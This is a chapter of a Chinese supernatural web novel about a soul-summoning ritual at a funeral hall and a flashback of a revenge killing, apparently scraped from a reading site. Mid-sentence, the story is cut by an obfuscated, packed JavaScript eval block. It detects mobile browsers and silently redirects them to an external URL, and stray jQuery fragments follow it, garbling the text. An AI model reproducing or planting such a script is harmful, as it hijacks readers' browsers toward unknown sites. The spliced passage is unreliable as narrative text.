15. 第 15 章

作品:《我做鬼也不放过你

    漆泥玉终于还是带走了李奉春,病弱,憔悴,神色郁郁的李奉春。


    杜府,东院灵堂已设第三日,天大雨。


    杜灵均跪在堂前,鬓边白发在冷寒晨风中瑟瑟发抖。


    “吾儿……胜贤……”


    “呼——哗啦——”风太大,以至于大雨被吹拂着滞空,又在沉重累积的压力下崩塌,如同山崩地裂轰然砸落。


    “胜贤!”


    “呼——”


    老翁凄厉的呼唤淹没在风雨中,隐龙峰乱葬岗旁的夜哭河也少有这样哀恸的时候。


    “爹爹对不起你,爹爹对不起你啊……回来啊胜贤……”


    “呼——呼——”


    灵堂白幡翻飞起舞,堂下棺材内躺着杜胜贤。眉宇缭绕着死气,青黑面上还覆有除不净的狐毛,尖利獠牙露在唇外,端方持重的脸上已满是青紫僵斑。


    “夫君,歇歇吧,您这样熬不住的……”


    陈淑君目露哀伤,不忍地低下头去拭泪,余光在继子尸身上痛苦打转。


    三日前春情背着胜贤尸身回来,满目含泪六神无主地交代了明德侯府上发生的那桩事,自那日起他们夫妇二人就再没闭上过眼。


    年近五十的杜灵均,却在这样寻常的一天接回了自家幼子的尸体。


    “胜贤啊!胜贤——”


    雷霆游走在沉沉乌云,倾盆暴雨恍若崩溃心绪。


    “胜贤……咳,咳咳……”


    “灵均!”


    一股阴风不知从何处来,吹得陈淑君脑后一阵寒毛耸立。


    “谁!”


    可是白幡翻卷的灵堂别无他物。


    周身鸡皮疙瘩抖落一地,陈淑君勉力强撑,踉跄着起身扑向自己的夫君。


    “怎么样?都说叫你去歇歇!一定要到最后胜贤回不来你也病倒了才知足吗?!”


    “胜贤……胜贤……是胜贤回来了……”


    杜灵均倒在陈淑君怀里,痴痴望着堂外。


    “什么?”


    陈淑君茫然望向那里,可是除了倾盆的雨还是雨,哪有人影?


    “别吓我,别吓我啊灵均!你看着我,你看着我!”


    杜灵均眼神涣散,一夜之间白了的半头长发憔悴垂在陈淑君臂弯,他执拗地要起身往外走。


    “吾儿……回爹爹这里……”


    “呼——”


    “啊!——”


    再度一阵阴风吹在耳后,陈淑君尖叫一声,抱紧怀里杜灵均,颤抖的瞳仁惶然望向灵堂正对着的角门。


    闩紧的门柱正以极慢的速度缓缓挪动。


    手边哪有趁手的武器,陈淑君咬咬牙,一把拔下头顶素簪,一手揽着杜灵均,死死盯着诡异移动的门闩。


    “胜贤……胜贤……”


    雨雾中,门闩慢慢离开门板,轰然砸在地上!


    陈淑君痛苦地竭力压制急促喘息,“太上台星,应变无停,驱邪缚魅,保命护身,智慧明净,心神安宁,三魂永久,魄无丧倾。太上台星,应变无停,驱邪缚魅……”(注)


    “吱哟——”


    门开了。


    陈淑君喉头迅速滑动。


    一阵风雨大作,角门哐啷一声砸在墙壁之上,门口是一把青绿色绢伞,雨雾中朦胧模糊,遮住了来者二人面目,只剩一天蓝一暗绿的袍角被风雨浸湿,缓缓朝着堂前走来。


    是人,还好是人。


    陈淑君神色一凛,顾不上手中还在痴痴呼唤杜胜贤名字的杜灵均,拿簪尖冲着那二人厉声喝斥:“站住!什么人敢擅闯仆射府!”


    雷霆风雨声里,一女子淡然声音落在被水冲刷干净的青石板上,泠泠作响。


    “妖刑司,漆泥玉。”


    陈淑君手上簪子骤然跌在地上。


    “叮咚——触发任务对象:陈淑君,当前好感度:87。触发关键任务:陈杜和离。”


    伞慢慢抬起,露出下面漆泥玉仙姿玉色的一张脸来,含笑双目清润温柔。


    “那女伶没告诉你们,在下三日后便来拜访么……”


    ****


    “漆娘子,这样就能成吗?”


    陈淑君捧着一炷短香立在灵堂西北角,杜灵均不知受了什么刺激,浑浑噩噩,却也攥着一炷短香跪在东南角。


    漆泥玉面色发青,显然冷得不轻,却抬手将手里的召魂符认认真真贴于灵堂法阵各个关键处。


    “只能说勉力一试,若是三日唤魂能打动杜公子的游魂,那便可能成功,反之则是再无希望,寻个好时候下葬了就是。”


    “胜贤……”


    杜灵均听到杜公子二字像是触发了什么关键词,热泪从皱纹遍布的眼尾慢慢滑落。


    漆泥玉沿他视线看了眼那处廊下风雨,低头继续贴符。


    忍了又忍,在贴完最后一张符后漆泥玉终究还是没忍住,欲言又止地看了一眼杜灵均衰老佝偻下去的身体,声音沉缓。


    “既然如此情深,为什么他生时不好好讲清楚呢?”


    漆泥玉去碧春堂寻过春情。若要说这世界上有谁最了解赵杜二人,也唯有碧春堂一众女伶了。


    春情那时哭得双目红肿,听了漆泥玉的问话缓缓摇头。


    “赵杜二位公子家风俱是严谨,出入这等腌臜地,回去总免不了一顿教训,只是赵二杜二在碧春堂寻欢时从未说起过家里什么不好,来时带着一身伤,走时又都苦着脸。”


    “在我看来,二位公子俱是重情重义之人。”


    春情是这么说的。


    “……春情说杜公子每回去那都带着一身伤,神色困顿哀伤。”


    漆泥玉捏着一炷短香,与李奉春分站剩下两角。


    “罢了,我等只是外人,要说什么,还须你们父子俩自己厘清。”


    话音刚落,四人脚下分别出现一点金光,沿着地面游蛇般流走,符纸无风自动,灵堂内一时阴风大作,灵幡与黄符起舞。


    阵起。


    “嗡——”


    仿佛是大地一声长叹,地上繁复错杂的金线逐渐成型,金光射落在雨雾中,像是大地的呼吸,时隐时现。


    “魂荡天地间,使我自然;八苦因果律,无清果因。召来!”


    “嗡——”


    灵堂内骤起几处阴风,盘旋着在堂内流转。


    这是,这样肉眼单看着,哪能知道哪个是杜胜贤?


    陈淑君迷茫地眼神四处乱转,忽地看见漆泥玉从袖中掏出了什么,低声念了句咒后将其掷于半空,只见一颗黑漆漆的珠子神奇地悬空在堂内,周身缭绕银白雾气,渐渐地弥漫了出来。


    不过几息功夫,灵堂内就如同起了雾般一片朦胧起来!


    “阵法内瞧见什么都不奇怪,通灵珠悬在上头,什么妖魔鬼怪该来的不该来的都会想尽办法叫你心神动


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893838|160009||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摇以便其夺身复生。”漆泥玉冷嘲一声,渐渐隐在浓雾中,只剩声音凛然。


    “守好自己的位置,别叫孤魂野鬼勾了魂去,那可得不偿失。”


    话音落,灵堂内一时寂静无声,恍如坟茔。


    *****


    “阿弟……阿弟……”


    “谁?”李奉春听到熟悉的声音,豁然睁眼。眼前却并非在杜府灵堂,而是个有些陌生的地界。


    那应是巴蜀某处山脉,巍峨峰峻绵延到了天边,高耸入云的山峦隐在层层云雾内,只剩宛如龙身盘转的山麓。


    隐龙峰。


    一个名字忽地现在心头。


    李奉春心下一动,循着声音看过去。


    那里站着个女人,正背对着他,手持一把寒星长剑直指地上跌在一起的一男一女。


    倾盆的暴雨砸落在陈年古木搭建的客栈屋顶,震得人耳膜嗡鸣,电闪雷鸣里,冰冷长剑映射出的一线冷芒瞬间如银龙奔腾。


    一声尖利哀鸣之后,沉重的躯体轰然扑倒在冰冷地面,露出身后一道素白瘦削身影。


    “你……别过来!”


    形容狼狈的男人来不及多看一眼失去声息的妻子一眼,连滚带爬后退。


    “我们无冤无仇,阁下凭什么这样草菅人命?别以为此地远离京都就可以为所欲为……啊!”


    那是,漆泥玉杀他满门的那夜……


    李奉春怔然看着眼前一幕,有一瞬间如坠梦里,分不清今夕何夕。


    像是懒得听人废话,眼前那个漆泥玉抬手,手中长剑擦着男人颈侧扎进了实木圆桌,只剩下剑柄在闷热潮湿的夏夜震颤。


    “无冤无仇?我不杀无冤无仇之人。”


    纵使暴雨,盛夏里的空气也依旧热得人心慌,可是眼前持剑伤人的漆泥玉裹着一身兔毛冬裘,青白的脸半数隐在软毛下,只剩下冷冰冰的一双眼,厌恶地瞥了一眼面前瘫软在地的男人。


    李奉春看着面朝下扑在地上的那个妇人,脖颈飙出来三步远的血迹,已然死透了。


    是母亲。


    母亲已经死透了。


    他静静看着,心绪却没多少起伏。


    “……那你倒是说!到底什么仇怨值得你半夜闯进我们家,二话不说杀我夫人!我们一家隐居在此十余年,哪里来的仇家?!”


    男人悲鸣一声,踉跄着要去查看女人的呼吸。


    漆泥玉踱步上前,脖子不舒服似的,用右手轻轻扶着,待到走到那男人面前时,她弯下腰,死气沉沉的眼睛盯着他双眼,声音低哑到几乎逸散在空气里。


    “你不记得我了?好伤心呀……十五年前,不是你一刀一刀将我分尸的吗?”


    “什么?”


    男人恍惚抬头,眼神迷茫。


    “轰隆——嚓——”


    闪电撕裂黑沉沉的天幕,照亮了漆泥玉冰冷无情的脸。


    “杀的人太多,一时想不起来吗?没关系,今夜很长,足够我们慢慢清算这笔账。”


    “我不知道,我什么都不知道!你认错人了!”


    鲜红的血液从女尸身下蜿蜒,漫过木板纹理,留下暗沉的痕迹,一直淌到了漆泥玉脚下,被她轻描淡写抬脚避开。


    “还在嘴硬。”


    漆泥玉一把拽住男人衣领,硬生生将人提了起来,青白的脸带上三分讥讽笑意,“是不是冤枉你,下去和阎王说吧……”